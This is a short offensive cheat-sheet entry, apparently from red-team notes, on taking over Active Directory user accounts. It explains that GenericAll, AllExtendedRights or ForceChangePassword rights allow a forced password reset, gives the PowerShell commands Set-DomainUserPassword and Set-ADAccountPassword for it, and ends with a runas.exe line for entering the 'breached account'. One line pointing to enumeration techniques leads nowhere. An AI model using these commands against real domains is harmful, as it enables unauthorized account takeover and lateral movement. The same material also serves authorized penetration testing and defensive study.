If you have sufficient privileges on a user account such as:

• GenericAll
• AllExtendedRights
• ForceChangePassword

To verify it, use the enumeration techniques:

you can reset a user's password with any one you like (attention that it is not OPSEC SAFE!).

Set-DomainUserPassword -Identity "<user>" -AccountPassword (ConvertTo-SecureString "<password>" -AsPlainText -Force) -Verbose

Set-ADAccountPassword -Identity "<user>" -NewPassword (ConvertTo-SecureString "<password>" -AsPlainText -Force) -Verbose

Enter the security context of breached account:

runas.exe /u:<domain>\\<user> powershell